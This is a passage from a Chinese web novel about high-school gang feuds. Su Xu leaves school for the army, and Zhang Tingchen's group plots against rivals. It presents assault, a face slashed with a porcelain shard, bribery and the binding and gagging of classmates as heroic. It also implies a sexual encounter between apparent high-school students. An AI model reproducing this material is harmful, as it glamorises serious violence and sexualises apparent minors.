"不去。"张霆琛斩钉截铁地回答。"别急着拒绝,"钱子轩不以为忤,"但有人可以跟你走。"张霆琛看向苏旭。钱子轩皱眉:"我看中的是你。""他不比我差。"张霆琛走到苏旭身边,压低声音,"小旭,这是个机会。打赢他,跟他走。"苏旭的眼中燃起火焰:"二哥,你认真的?""我从不开这种玩笑。"张霆琛按住他的肩膀,"记住,咱们靠自己,不靠家里。"
苏旭深吸一口气,走向钱子轩时整个人仿佛脱胎换骨,脊背挺得笔直,眼中闪烁着钢铁般的意志。钱子轩惊讶地打量这个刚才还显得青涩的少年:"你确定?""请指教。"苏旭摆出格斗姿势,声音沉稳有力。
接下来的战斗让张霆琛都屏住了呼吸。苏旭的打法毫无花哨,却带着一种不要命的狠劲。钱子轩的拳头落在他身上,他咬牙硬接,同时必定还以颜色。两人像两头角力的公牛,拳拳到肉,汗水和血水混在一
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起。
"够了!"当苏旭又一次被击倒又挣扎着爬起来时,钱子轩突然喊停,"我认输。"苏旭摇晃了一下,满脸是血却露出胜利的笑容:"二哥...我..."张霆琛冲上去扶住他摇摇欲坠的身体,喉咙发紧:"别说了,我看见了,你赢了。"
钱子轩走过来,郑重地向苏旭伸出手:"小子,愿意跟我走吗?军训结束后,我带你提前入伍。"苏旭看向张霆琛,得到肯定的眼神后,艰难地站直身体,向钱子轩敬了个不太标准的军礼:"报告教官,我愿意!"
回宿舍的路上,张霆琛几乎半扛着精疲力竭的苏旭。夕阳将两人的影子融为一体,如同他们不可分割的兄弟情谊。"二哥,"苏旭虚弱地开口,"我会成为最好的兵,不给你丢人。"张霆琛眼眶发热,用力搂紧他的肩膀:"我知道你会的。"
宿舍门被推开时,邓志辉等人惊得从床上跳起来:"我靠!怎么回事?谁把小旭打成这样?"张霆琛小心翼翼地把苏旭扶到床上:"他跟钱教官切磋了一下。"李辰浩敏锐地察觉到什么,递给张霆琛一个询问的眼神。张霆琛微微点头,李辰浩立刻会意,拿出医药箱开始帮苏旭处理伤口。
"我去买点药。"张霆琛说着往外走,李辰浩默契地跟上。走廊上,李辰浩压低声音:"决定了?""嗯,钱子轩背景不简单,是小旭的好机会。"张霆琛望向窗外渐暗的天色,"下个月就走。"
李辰浩沉默片刻:"你哥那边...""不靠家里。"张霆琛打断他,声音坚定!
身后突然传来脚步声,邓志辉跟了出来,脸上带着少有的严肃:"我知道你们有事瞒着我们。"张霆琛和李辰浩对视一眼,不知如何开口。邓志辉却突然笑了,一拳轻捶在张霆琛肩上:"不管什么秘密,等你们想说的时候,兄弟我随时听着。"
张霆琛心头一热,和李辰浩一起抱住了邓志辉。三个年轻人的笑声在走廊上回荡,青春的热血与真挚的友情在这一刻熠熠生辉。回到宿舍,苏旭已经睡着了,脸上还带着淤青,嘴角却挂着满足的微笑。张霆琛轻轻给他盖上被子,看着这个即将踏上军旅生涯的兄弟,心中百感交集。
第六十二章:苏旭退学
清晨的阳光还没完全驱散夜色的凉意,苏旭就急匆匆地跑向女生宿舍楼。远远地,他看见陈曦独自坐在食堂门口的台阶上,眼睛的黑眼圈与红肿,显然一夜未眠,双手抱膝,像一只被雨淋湿的小鸟。
"媳妇!"苏旭三步并作两步跑过去,声音里带着心疼。陈曦抬起头,眼睛肿得像桃子,却在看到他的瞬间挤出一个笑容:"你来啦。"苏旭一把将她拉进怀里,感受到她单薄的肩膀在微微发抖。昨晚告诉她即将提前入伍的消息后,电话那头长久的沉默,然后是压抑的抽泣声,至今还在他耳边回荡。
"我没事,"陈曦把脸埋在他胸前,声音闷闷的,"其实早就做好心理准备了。就是昨天太突然了。"苏旭收紧双臂,仿佛要把她揉进自己的身体里:"媳妇,我保证,一定会很快回来!你信我!"食堂门口陆续有学生经过,投来好奇的目光。若是往常,陈曦早就红着脸推开他了,但今天她只是更紧地抓住他的衣角,好像一松手他就会消失一样。
"哟,大早上的就这么腻歪!"尖细的女声从旁边传来。苏旭转头,看见三个浓妆艳抹的高二女生站在那里,脸上的粉厚得能刮下一层,嘴唇涂得鲜红,活像三只刚偷吃完辣椒酱的鹦鹉。"这是学校,注意点影响行不行?"领头的女生翻着白眼,嘴角挂着讥讽的笑。
苏旭的火气窜了上来,拳头不自觉地攥紧。陈曦赶紧拉住他的手臂:"算了,别理她们。""哼,看那个女的那副小贱样!"另一个女生故意提高音量,声音刺耳得像指甲刮过黑板。苏旭只觉得一股热血直冲脑门。他甩开陈曦的手,一个箭步冲上去揪住说话女生的衣领,力道大得几乎把她提离地面。
"**再说一遍试试!"他的声音低沉得可怕,眼睛里燃烧着怒火。女生吓得脸色煞白,嘴唇颤抖着却说不出话。苏旭猛地推开她,指着她的鼻子:"再敢说我媳妇一句,老子弄死你!""小旭!"陈曦跑过来拉住他,"别这样,我们走吧。"
就在这时,几个高二男生从食堂里冲出来,为首的瘦高个一把搂住那个女生:"怎么回事?"女生瞬间变脸,眼泪说来就来,指着苏旭哭诉:"他无缘无故就打我!""放屁!"苏旭气得笑出来,"我碰你一根手指头了吗?"
瘦高个男生不由分说上前一步:"给我媳妇道歉!"陈曦挡在苏旭前面:"是你女朋友先骂人的,凭什么我们道歉?再说根本没打她!""滚开!"男生一把推开陈曦,"我不跟娘们说话!"这句话像点燃了**桶。苏旭眼中寒光一闪,毫无预兆地抬腿就是一记正蹬,正中对方腹部。男生闷哼一声,踉跄着后退几步,撞翻了身后的餐椅。
"操!干他!"另外几个男生一拥而上。食堂里瞬间乱成一团。苏旭像头被激怒的狮子,拳脚带风,三两下就把几个人放倒在地。但事情远没有结束,周围吃饭的高二学生见自己同学挨打,纷纷围了过来,转眼间就有十几个人把苏旭和陈曦围在中间。
"人多?有用吗?"苏旭嘴角勾起一抹轻蔑的笑,把陈曦护在身后。被打的男生爬起来,擦着鼻血恶狠狠地说:"现在高一的都这么狂?给我往死里打!"陈曦紧紧抓着苏旭的衣角,声音发抖:"怎么办...""别怕,"苏旭捏了捏她的手,眼睛始终盯着围上来的人群,"站我后面。"
最先冲上来的男生刚举起拳头,苏旭抄起餐桌上的不锈钢餐盘,抡圆了砸在他脸上。"咣"的一声巨响,男生惨叫倒地,鲜血从指缝间涌出。这狠辣的一击震慑住了所有人。食堂里鸦雀无声,只剩下受伤男生的**。苏旭环视四周,声音洪亮:"陈曦是我媳妇!谁再敢欺负她,这就是下场!"
"小子,挺狂啊。"一个留着板寸的高个子男生分开人群走出来,眼神阴鸷。苏旭毫不退缩地与他对视:"我就狂了,怎么着?"板寸男突然抓起一个餐盘,出其不意地朝陈曦砸去!就在千钧一发之际,一只修长有力的手如铁钳般扣住了他的手腕。
"想干什么?"张霆琛不知何时出现在现场,声音冷得像冰。板寸男挣扎了一下,发现根本动弹不得:"关你屁事!""名字。"张霆琛手上加力,捏得对方腕骨咯咯作响。"蔡...蔡东!"男生疼得龇牙咧嘴。张霆琛冷笑一声:"没听过。"话音未落,他夺过餐盘,反手就拍在蔡东头上。"啪"的一声脆响,蔡东应声倒地,额头鲜血直流。
"都听好了,"张霆琛扫视全场,一字一顿,"欺负我张霆琛的兄弟,就是这个下场!""张霆琛?"蔡东捂着脑袋爬起来,脸色刷地变白。这个名字在校园里意味着什么,他再清楚不过。"一条狗而已。"张霆琛轻蔑地转身,却看见苏旭弯腰捡起一块锋利的碎瓷片,眼中闪烁着危险的光芒。
"小旭!"刘浩及时冲过来拉住他,"够了!"苏旭挣了一下没挣脱,突然诡异一笑:"浩哥,松手。"就在刘浩迟疑的瞬间,他猛地挣脱,一个箭步上前,瓷片在蔡东脸上划出一道血痕!"啊!"蔡东惨叫一声,惊恐地捂住脸。
食堂里一片哗然。苏旭揪住蔡东的衣领,声音压得极低:"今天的事,就我一个人干的。敢牵扯别人,下次划的就不是脸了。"说完,他随手扔掉瓷片,若无其事地拍拍手:"大家继续吃饭吧。"刘浩难以置信地看着他:"你疯了吗?"苏旭咧嘴一笑,露出白森森的牙齿:"不狠点,怎么让他们记住?等我走了,谁保护小曦?"
王涛不知从哪钻出来,激动得语无伦次:"五哥!你太牛逼了!简直天神下凡!"陈曦却脸色苍白,死死拽着苏旭的袖子:"你没事吧?"苏旭这才注意到自己的手在微微发抖。他深吸一口气,勉强挤出一个笑容:"没事,媳妇。走,换个地方吃饭。"
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但事情远没有结束。半小时后,苏旭被叫到了高二年级组办公室。"这两位同学是你打的?"年级组长刘老师指着坐在一旁、脸上贴着纱布的蔡东和另一个男生。"是。"苏旭站得笔直,毫不避讳。刘老师推了推眼镜:"你知道这种行为有多恶劣吗?""知道。"苏旭直视老师的眼睛,"但他们先欺负我女朋友。"
"就算是这样,你下手也太重了!"刘老师拍案而起,"我要通知你的班主任、年级组长,还有家长!这样的学生我们没法要!"苏旭突然笑了,笑容里带着讽刺:"叫家长?然后呢?开除?你们除了这两招还会什么?"他的声音越来越高,"学生犯错就该一棍子打死?连个改过的机会都不给?"
"你这是什么态度!"刘老师气得脸色铁青。"我的态度就是"苏旭一字一顿,"我、自、己、退、学!家长我也会叫来,但不用你们开除我!"说完,他转身摔门而出,留下目瞪口呆的刘老师和一屋子老师。
中午时分,张泽和何欣夫妇匆匆赶到学校。苏旭、张霆琛和几个兄弟在校门口等候多时。"孩子!你这是怎么了?"何欣一眼就看到苏旭脸上的淤青,心疼得直掉眼泪。苏旭赶紧解释:"阿姨别担心,这不是今天弄的。我不想上学了。"
"什么?"张泽脸色骤变,"谁欺负你了?"张霆琛上前一步,把事情的来龙去脉解释清楚,包括钱子轩的邀请和苏旭的从军打算。张泽听完,沉默良久,最后长叹一声:"路是你们自己选的...好自为之吧。"他的语气复杂难辨,不知是失望还是无奈。
下午,在张泽的陪同下,苏旭办完了退学手续。走出教务处时,夕阳正好照在教学楼前的国旗上,红得刺眼。"就这么...结束了?"苏旭捏着退学证明,有些恍惚。张霆琛拍拍他的肩:"走,找钱子轩去。"他们在操场边找到了正在监督军训的钱子轩。听完张霆琛的请求,钱子轩皱眉:"怎么突然这么急?""帮个忙,钱大哥。"张霆琛变魔术般从兜里掏出两盒中华烟,悄悄塞进钱子轩口袋。钱子轩哭笑不得:"你小子...行吧,看在这烟的份上。"
回宿舍的路上,苏旭突然停下脚步:"二哥,谢谢你。"张霆琛摆摆手:"兄弟之间,不说这个。""我是说为了我做的一切。"苏旭的声音有些哽咽。张霆琛没说话,只是用力搂了搂他的肩膀。夕阳把两个少年的影子拉得很长,像两条即将分岔的路,却又在尽头隐隐相连。
宿舍楼下,陈曦抱着一个纸袋站在那里,眼睛还是红红的。苏旭跑过去,听见她说:"我给你织了条围巾,冬天训练的时候..."苏旭接过围巾,柔软的羊毛上还带着她的体温。他突然一把抱住她,抱得那么紧,好像要把这触感永远记住。"等我回来。"他在她耳边轻声说。陈曦在他怀里点头,眼泪无声地浸透了他的衣襟。
第六十三章:苏旭离,李耀回
训结束的周五傍晚,夕阳把校园染成橘红色。本该欢庆的时刻,宿舍里却弥漫着沉重的气氛。陈曦死死攥着苏旭的手,指甲几乎要陷进他的皮肤里,仿佛这样就能把人留住。
"操!不就是当兵吗?又不是上刑场!"王涛突然踹翻凳子,嗓门大得吓人,"五哥是去当兵王,以后咱们都有个特种兵兄弟,多牛逼!今晚必须喝到吐!"苏旭顺势把陈曦往怀里一带,在她发顶响亮地亲了一口:"就是!老子这是去建功立业,你们哭丧着脸算怎么回事?"他故意用痞里痞气的腔调说,"今晚谁不喝趴下,就是不给我苏五哥面子!"
张霆琛看着苏旭强撑的笑脸,喉结滚动了几下。他抓起外套往肩上一甩:"走!去老兵烧烤,把他们家的青岛啤酒全包圆了!"烧烤摊的霓虹灯在夜色里格外刺眼。几个人围坐在油腻的折叠桌前,脚下很快堆满了空酒瓶。王涛举着扎啤杯摇摇晃晃站起来,啤酒沫洒了一手:"五哥!我王涛这辈子没服过谁,就服你!这杯敬你是条汉子!"
"少他妈废话!"苏旭直接抄起白酒瓶对嘴吹,喉结剧烈滚动着,溢出的酒液顺着下巴把衣领浸得透湿。放下空瓶时,他的眼睛比炭火还亮:"等老子穿着军装回来,你们都得管我叫**!"众人哄笑起来,陈曦却突然捂住嘴冲了出去。苏旭追到后巷,看见她蹲在垃圾桶旁干呕,单薄的肩膀在月光下抖得像片落叶。
"媳妇..."他刚碰到她,就被转身扑了个满怀。陈曦的眼泪滚烫地渗进他颈窝,苏旭猛地把她按在墙上吻住,尝到咸涩的泪水和自己嘴里的酒气。这个吻凶狠得几乎要咬出血来,直到两人都喘不过气才分开。"我发誓,"苏旭拇指擦过她红肿的唇瓣,"下次见面,老子胸前至少别个三等功勋章!"
回到酒桌时,李辰浩正用筷子敲着碗唱《朋友》,跑调得厉害。接着苏旭摘下来自己脖子上的挂坠说“这就是咱们友情的见证,咱们在一起除了大哥二哥还有我媳妇,咱们都认识时间不长,但是既然拜了把子咱们就是永远得兄弟。”“对!”李辰浩第一个站起来说,然后举起酒杯说“为了一辈子兄弟干杯!”
“干杯!”这一顿酒大家喝到很晚很晚,都是烂醉如泥。张霆琛搂着苏旭坐在地上说“还记得咱俩怎么认识的吗?”“借钱啊!到现在还没还你呢。”苏旭笑着说。“是啊,上来就借钱还真有你的。”张霆琛锤了他一拳。
苏旭假装不乐意的说“上来就借钱的你才奇怪!有这么容易相信人吗?也就是我是好人,要是别人你就人财两失了。”“显摆!”张霆琛骂道。“哥,要不是你我可能现在都不能挺起胸膛做人,我媳妇就不会这么爱我。”张霆琛打住他说“停!这些话以后不要再说了!”
苏旭摇摇头说“不行!必须说!是你们救了我妈,让我妈在有生之年还能做自己喜欢的事,就冲这个我就欠你们的。你为了我让人家**,以身涉险。我真的不知道该怎么谢了。”苏旭一边说一边哭。张霆琛也是留着眼泪说“操,你都说什么呢。咱们是兄弟,这都不叫事!以后不许再说这些了。”苏旭说以后不说了但是今天要说“等我当兵回来我给你组一个像犬组一样的队伍,让你的眼线遍布中国每一个角落!成为中国的地下皇帝!让你在老爸面前挺起胸膛!”
路灯下,陈曦看着这两个又哭又笑的醉鬼,悄悄擦掉了眼角的水光。那晚苏旭终究没回男生宿舍。在陈曦家昏暗的小卧室里,少女的蕾丝内衣挂在台灯罩上,在墙面投下蛛网般的阴影。床单被抓破的裂口处,还沾着一点暗红的血迹。"疼吗?"苏旭轻吻她颤抖的眼皮。陈曦摇摇头,把脸埋在他汗湿的胸膛。窗外,启明星刚刚升起。
次日清晨,钱子轩的军用吉普碾过满地落叶停在楼下。陈曦走路的姿势有些别扭,却固执地抓着苏旭的背包带不肯松手。"差不多得了!"钱子轩按着喇叭大喊,"两三年转眼就...操!"张霆琛突然把空酒瓶砸在吉普车保险杠上。
苏旭大笑着一把搂住三人,四个脑袋抵在一起。"都给我混出人样来!"他声音哑得厉害,"等老子开着坦克回来检查作业!"车门关上的瞬间,陈曦突然追着车跑了十几米,最后蹲在马路中央哭得撕心裂肺。后视镜里,张霆琛死死拽着要冲过来的李辰浩,三个人的身影越来越小,最终消失在飞扬的尘土中。
吉普车拐过街角时,苏旭把脸埋进掌心。钱子轩瞥了眼后视镜,什么也没说,只是拧开了收音机。《咱当兵的人》的旋律混着发动机轰鸣,碾碎了少年最后的呜咽。
苏旭走后,陈曦整个人都蔫了,像被抽走了魂儿似的,连平时最爱闹腾的场合都提不起劲。周末邓志辉他们来看张霆琛,一群人嘻嘻哈哈,可少了那个活宝,总觉得笑声里缺了点什么。
周一清晨,张霆琛刚踏进校门,手机就响了。邓志辉的声音从听筒里炸出来,又急又躁:“二哥,李耀回来了!那孙子正在疯狂摇人,看样子是要跟咱们死磕到底!”张霆琛挂掉电话,冷笑一声,对身旁的李辰浩说:“该来的还是来了。”李辰浩耸耸肩,一脸无所谓:“一次打不服就打两次,两次不行就三次,打到他服为止。”“对,就这么干!”张霆琛嘴角一扬,眼里闪过一丝狠劲儿。
陈曦却皱起眉头,忧心忡忡:“你们什么都不怕是好事,但轻敌就是大忌。”张霆琛转头看她,语气坚定:“不是轻敌,是没退路。现在不硬顶,以后在这学校就没法混了。社会不也是这样?咱们现在就是在攒经验。”李辰浩拍拍陈曦的肩,咧嘴一笑:“小琛是咱们的头儿,他要是怂了,兄弟们就散了。”陈曦张了张嘴,终究没再说什么,可眼神里的担忧丝毫未减。
刚进教室,邓志辉就窜到张霆琛身边,压低声音问:“二哥,有招没?”李辰浩在一旁插嘴:“兵来将挡,水来土掩,干就完了!”“靠!光靠莽可不行!”邓志辉急得直挠头,“李耀这次是铁了心要跟咱们鱼死网破!我刚联系了路译,他答应一起干!”
张霆琛打了个响指,眼中闪过一丝精光:“干得漂亮!下课把兄弟们都叫来,咱们得好好合计合计。”“对了,明天月考,你可别光顾着打架把这事儿忘了。”邓志辉提醒道。提到月考,张霆琛的目光不自觉地飘向前排,乔川正抱着一摞作业本,趾高气扬地收作业。两人视线相撞,乔川挑衅地挑了挑眉,随即大步走了过来。
“班长大人有何贵干?”张霆琛靠在椅背上,笑得漫不经心。乔川冷哼一声:“少阴阳怪气,月考见分晓,到时候可别赖账!
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”“放心,我保证亲手帮你挪手指。”张霆琛依旧笑眯眯的。乔川气得牙痒痒,拳头攥得死紧,可终究没敢动手,只能恶狠狠地丢下一句:“走着瞧!”转身离开。
邓志辉一脸懵逼:“你俩赌啥呢?”刚进门的梁颖叹了口气:“比月考成绩,输了的剁手指头。”“**?!”邓志辉瞪大眼睛,“你疯啦?乔川那小子除了学习啥都不会,你跟他比这个?”“就是!至于吗?”梁颖也皱眉。张霆琛不耐烦地摆摆手:“你们就这么不信我?”梁颖急了:“不是不信你,是你这样不对!他要是真输了,你真剁他手指?”
“当然!谁让他瞧不起我?”张霆琛语气冰冷。“让人瞧得起是靠本事,不是靠赌狠!”梁颖脱口而出,随即意识到说错话,可已经晚了。张霆琛猛地站起身,眼神阴沉:“你觉得我这样让人瞧不起,大可以不喜欢我!”说完,直接摔门而出。
梁颖想追,却被李辰浩一把拉住:“别追了,他现在听不进去。”“可我说错话了”她懊恼地咬着嘴唇。李辰浩叹了口气:“你不了解他。他气的不是你说他,而是你不信他。等着看吧,他会赢的。”
张霆琛独自一人躲进厕所,烦躁地抓了抓头发:“妈的,想让人认可怎么就这么难?”“嘀咕啥呢?”隔间里传来熟悉的声音,王涛和陈凯叼着烟走出来。张霆琛苦笑:“你们说,像咱们这种‘问题学生’,是不是注定被人看不起?”陈凯吐了个烟圈,咧嘴一笑:“那就做出个样子给他们看看呗!”
“样子还没做出来,就已经被鄙视透了。”张霆琛自嘲道。王涛冷哼一声:“现在的学生比来比去,就比个破分数,不比脑子,不比本事,全他妈被教育制度坑傻了!”“就是!”陈凯一拍大腿,“考一百分又怎样?微软是比尔·盖茨的,世界首富还是别人!中国最有钱的是煤老板、房地产商,有几个是学霸?”厕所里其他抽烟的男生纷纷鼓掌起哄:“精辟!”
张霆琛乐了:“没想到你俩口才这么好?”王涛叼着烟,眯眼笑道:“就像那个笑话,两只蛆,儿子问爸爸:‘外面有什么?’爸爸说:‘有山有海有河流。’儿子问:‘那为啥咱们还待在粪坑里?’爸爸严肃地说:‘因为这是我们的祖国!’”
众人哄堂大笑。张霆琛笑够了,正色道:“说正事,李耀回来了,你们都知道吧?”王涛不屑地弹了弹烟灰:“能干他一次,就能干他第二次!”陈凯也点头:“不叫事儿!二哥,你怕了?”张霆琛嗤笑一声:“怕?老子字典里没这个字!我怕干不死他,操!下课叫兄弟们来厕所开会,光靠莽不行,得动脑子。”
正说着,上课铃响了。张霆琛刚回教室,班主任赖军就站在门口,鼻子一抽,眼神瞬间锐利起来。“站住!”赖军一把拽住张霆琛的胳膊,“干什么去了?”“上厕所。”张霆琛坦然道。赖军冷笑:“撒谎!一身烟味,还敢狡辩?”张霆琛无奈:“别人抽的,关我屁事?”“还敢顶嘴?”赖军勃然大怒,“滚出去站着!我的课堂容不下烟鬼!”
张霆琛懒得争辩,转身走向门口。经过第一排时,乔川嘴角勾起一抹得意的笑,仿佛在说你也有今天?张霆琛瞥了他一眼,心里冷笑,等着吧,月考之后,看谁笑到最后。
第六十四章:厕所密谋
张霆琛站在走廊尽头的窗边,窗外是阴沉沉的天空,就像他此刻的心情。"二哥,刚才我去办公室,看见一个男生说你去厕所抽烟了。你现在怎么样?"陈曦的短信在手机屏幕上亮起。张霆琛盯着那条信息,拇指飞快地在屏幕上敲击:"没事,已经解决了。安着。"
刚发完,又一条短信跳出来。看到发件人是梁颖,张霆琛的手指顿了一下。他本不想看,但最终还是点开了。"对不起张霆琛,我不应该那么跟你说话。你能原谅我吗?"张霆琛盯着屏幕,胸口突然涌上一股说不清的滋味。他没想到梁颖会主动道歉。这个女孩总是这样,温柔得让他不知所措。他低头看着自己粗糙的手掌,指关节上还有上次打架留下的淤青。
"跟着我这样的人,真的会幸福吗?"他喃喃自语。他知道自己选的路是一条不归路,而梁颖值得更好的生活。犹豫再三,他还是回复道:"没事,是我不对。别往心里去。"发完短信,张霆琛没有回教室,而是径直走向了男厕所。奇怪的是,他宁愿呆在这个充满尿骚味的地方,也不愿回到那个充满虚伪笑脸的教室。至少在这里,他可以暂时逃离那些令人窒息的目光。
他靠在洗手池边,思绪飘向即将到来的风暴,李耀回来了。那个高二的混世魔王休养了几天,现在肯定憋着一肚子火要发泄。张霆琛必须想好对策。就在这时,厕所门被推开,刘振平带着他的一个小弟走了进来。两人看到张霆琛,明显愣了一下,但很快恢复了那副令人作呕的嚣张表情。
"今天有人要倒霉喽..."刘振平一边解裤链,一边阴阳怪气地说。"就是,没想到耀哥这么快就好了。"小弟附和着,脸上挂着恶心的笑容。刘振平纠正道:"那是不想来,想在家休息两天,让这几只活跃的狗好好喘息两天。"张霆琛的眼神瞬间冷了下来。他慢慢走到刘振平身后,声音低沉:"你刚刚说谁是狗?"
刘振平提上裤子转身,竟然不知死活地用手指戳着张霆琛的胸口:"说谁谁清楚!今天耀哥回来了,你就等着死吧,还有邓志辉,还有你那帮小弟!"话音未落,张霆琛的右脚已经狠狠踹在刘振平的肚子上。刘振平像只破麻袋一样撞在墙上,发出一声闷响。旁边的小弟刚要动手,张霆琛一个侧踢精准命中他的太阳穴,那家伙直接撞在厕所门上,瘫软在地。
张霆琛一把揪住刘振平的衣领,将他提起来抵在墙上:"你给我记住了,再管不住自己的嘴,我就让你死得难看!""你、你还能嚣张多久?"刘振平虽然疼得龇牙咧嘴,却还在嘴硬,"现在也就是欺负我,有本事你继续打啊!"张霆琛冷笑一声,松开手:"知道我看不起你什么吗?什么都靠别人,其实你自己才是一条哈巴狗!"
刘振平的脸瞬间涨得通红,拳头捏得咯咯作响,却终究没敢动手。张霆琛轻蔑地看着他:"还想打?那就不是一脚这么简单了。滚!"刘振平咬着牙,恶狠狠地点头:"行,张霆琛,你给我等着!"说完,拖着那个还晕乎乎的小弟狼狈离开。"一条狗。"张霆琛对着他们的背影啐了一口。
下课铃响起,张霆琛没有回教室,而是在厕所等着邓志辉他们。不一会儿,厕所里陆续进来了七八个人,都是他的兄弟。邓志辉叼着烟,环顾四周:"都到齐了?"张霆琛点点头,靠在暖气片上:"李耀回来了,大家怎么看?""兵来将挡,水来土掩。"邓志辉吐出一个烟圈,"等他找上门呗。"
李辰浩皱着眉头:"太被动了吧?""我不这么认为。"张霆琛直起身子,"等着他找我们太被动了,必须主动出击。""怎么个主动法?"王涛迫不及待地问。张霆琛刚要说话,突然注意到厕所最里面有个学生正在假装撒尿,耳朵却竖得老高。他嘴角勾起一抹冷笑:"你,尿完了没?"那人明显一抖,慌慌张张地拉上拉链:"完、完了..."
"回去告诉刘振平,"张霆琛慢条斯理地说,"让他帮我们给李耀下个战书。就说我们准备好了,今天中午后楼见。"所有人都转头盯着那个学生。邓志辉眯起眼睛:"哟,这不是刘振平的狗腿子吗?偷听呢?""我、我就是来上厕所..."那人结结巴巴地说。张霆琛走过去,居高临下地看着他:"从我们进来你就在这,说了这么久
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话你还在,你是前列腺有问题?"
众人哄笑起来。张霆琛收起笑容:"不管你是不是来偷听的,把我刚才的话带给刘振平。"见那人没反应,王涛上去就是一巴掌:"聋了?琛哥说话没听见?""听见了听见了!我这就去!"那人捂着脸,连滚带爬地逃走了。"刘振平身边都是这种货色,也好对付。"张霆琛摇摇头,"吓唬吓唬就怂了。"
"本来就是帮墙头草。"邓志辉不屑地说。张霆琛拍拍手:"言归正传。我们必须先发制人,否则会死得很惨。""别卖关子了,快说怎么办!"王涛急不可耐。张霆琛示意大家靠近,压低声音说起了他的计划。刚说到一半,王涛就兴奋地大叫:"牛逼!就这么干!"李辰浩却有些担忧:"这...能行吗?"
"不入虎穴,焉得虎子。"张霆琛目光坚定,"我们不是莽夫,要用脑子。"见没人再反对,张霆琛点点头:"好,就这么定了。志辉,这件事交给你了。"邓志辉掐灭烟头,咧嘴一笑:"放心吧,保证办得漂亮。"
另一边,那个偷听的学生气喘吁吁地跑回刘振平身边,添油加醋地说:"他们发现我了!还说要让咱们给李耀下战书,今天中午后楼见。还说高二的都是废物,连李耀也不放在眼里!"刘振平眼睛一亮:"好极了!你去找李耀,把这话原原本本告诉他,最好再添点料。我倒要看看张霆琛**!"
那人连连点头,转身就往高二教学楼跑去。一路上,他已经在脑子里把张霆琛的话加工得更加夸张,不仅挑衅李耀,还捎带上了整个高二年级,甚至暗示高三也不算什么。当这番话传到李耀耳中时,这个本就脾气火爆的高二老大顿时暴跳如雷:"一群高一的**崽子,反了天了!今天中午不把他们打服,我李耀的名字倒着写!"
刘振平趁机煽风点火:"要不要叫上高三的...""放屁!"李耀一巴掌拍在桌子上,"叫外人帮忙,我以后还混不混了?你以为我是你这种废物吗?"刘振平讪笑着退到一边,心里却暗自得意,他的挑拨成功了。这场冲突已经不可避免,而他,只需要坐山观虎斗。
第六十五章:连环计
下课铃声刚响,欧泉就掏出手机,手指在屏幕上快速敲击着。他抬头看了眼教室后门,确认没人注意后,才把编辑好的短信发了出去。"平哥,宿舍被盗,回来看一下,别告老师先,咱们的家伙还都在明面上,等收起来再跟老师说。"
发完这条信息,欧泉的嘴角不自觉地上扬。他迅速删除了短信记录,把手机塞回口袋,若无其事地走出教室。刘振平收到短信时正在走廊和几个兄弟抽烟。他皱着眉头读完信息,骂了句脏话,把烟头狠狠摁灭在窗台上。
"怎么了振平哥?"旁边的小弟问道。"宿舍出事了,我得回去一趟。"刘振平阴沉着脸说,"你们几个继续盯着张霆琛那帮人。"十分钟后,刘振平独自一人走到宿舍楼下,远远就看见欧泉和另外几个舍友站在门口,神情紧张地东张西望。"你们怎么还没上去?"刘振平走近后问道。
欧泉快步迎上来:"等着你一起上去吧,这些事我们也拿不了主意。"刘振平嘴里骂骂咧咧:"别让我知道是谁!要是知道了一定要他好看!"他突然转向欧泉,"你是怎么知道宿舍被盗的?"欧泉眼神闪烁了一下:"我也是听我们班的人说的,他回去拿东西发现的,然后告诉我的。""他有没有跟老师说?""没有,他先告诉我的。"
刘振平没再多想,带头走进了宿舍楼。推开宿舍门的瞬间,他的脸色瞬间变得铁青,床铺被翻得乱七八糟,私藏的刀具和钢管散落一地,甚至那些藏在床垫下的杂志也被翻出来摊在地上。"操!"刘振平怒吼一声,拳头狠狠砸在门框上。欧泉赶紧拉住他:"平哥别喊,先收拾吧,别让老师看见。一会中午还得去找张霆琛他们算账呢!"
刘振平咬得牙齿咯咯作响:"先忍着!收拾一下!"就在这时,门外传来一个阴阳怪气的声音:"呦!这不是刘振平吗?怎么宿舍这么乱?呦!还有黄书!呦!还有武器!呦!一群狗!"王涛靠在门框上,脸上挂着讥讽的笑容。路译和其他几个人站在他身后,个个摩拳擦掌。
刘振平的眼睛几乎要喷出火来:"这些都是你们干的?""你可别乱栽赃人啊!我们都是好孩子!"路译在后面笑嘻嘻地说。"你们来干什么!"刘振平厉声喝道。"干什么?干狗!"王涛一声令下,七八个人一拥而上。刘振平这边虽然也有四五个人,但完全没料到对方会突然发难。更关键的是,路译他们显然早有准备,动作干净利落,不到三分钟就把刘振平一伙全部制服。
"绳子!"路译喊道。邓志辉立刻递上事先准备好的麻绳,几个人熟练地把刘振平他们五花大绑。"抬走!"王涛指挥着,几个人合力把刘振平他们抬出了宿舍。走廊尽头,宿管老头正悠闲地抽着烟,看到这一幕只是抬了抬眼皮,又继续吞云吐雾去了,路译送的那条好烟确实起了作用。
天台的门被推开,刘振平一伙被扔在水泥地上。刘振平嘴里塞着布条,却还在拼命发出呜呜的声音。"吵**!"王涛不耐烦地踢了他一脚,"再叫就给你扔下去!"这威胁显然没起作用,刘振平挣扎得更厉害了。路译蹲下身,凑到刘振平耳边轻声说:"你要是再叫,我就找个大夹子,夹在你的命根子上,让你求生不能求死不得。"
刘振平瞬间安静了,眼睛瞪得老大。王涛哈哈大笑:"这招还挺好使,就是不知道他那根牙签能不能夹住!"这句话又激怒了刘振平,他再次挣扎起来。王涛作势要去找夹子,被路译拦住:"别闹了,干正事。"王涛撇撇嘴,开始搜刘振平的口袋,很快找出了手机递给路译。
路译熟练地解锁,翻看通讯录:"高一的人都在这里了。"他快速编辑了一条短信:"所有人注意!今天不帮李耀他们,让他们狗咬狗。咱们坐收渔利!"短信发出后,路译关掉手机,对刘振平说:"你们在这好好待一中午,完事后放你们走。要是不老实,就准备在这过夜吧。"他又转向王涛,"把他们的手机都收了,别让他们坏事。"
等所有人都被搜身后,路译最后对刘振平说:"告诉你个秘密,给你们报信的人不是我们的人,我们把他骗到宿舍故意让他看到这些的。所以别去找人家麻烦,人家可是出于好意。"说完,路译带着众人离开了天台,临走时还不忘把天台门反锁。下楼时,王涛忍不住得意地说:"宿管老头真好收买,一条烟就搞定了!"路译笑了笑:"别高兴太早,这才刚开始。"
与此同时,张霆琛正在教学楼后的空地上踱步。他看了看时间,距离计划的下一个环节还有十分钟。远处,路译一行人正快步走来。"搞定了?"张霆琛问道。路译点点头,把刘振平的手机递给他:"一切顺利。"张霆琛接过手机,嘴角微微上扬:"接下来就看我的了。"
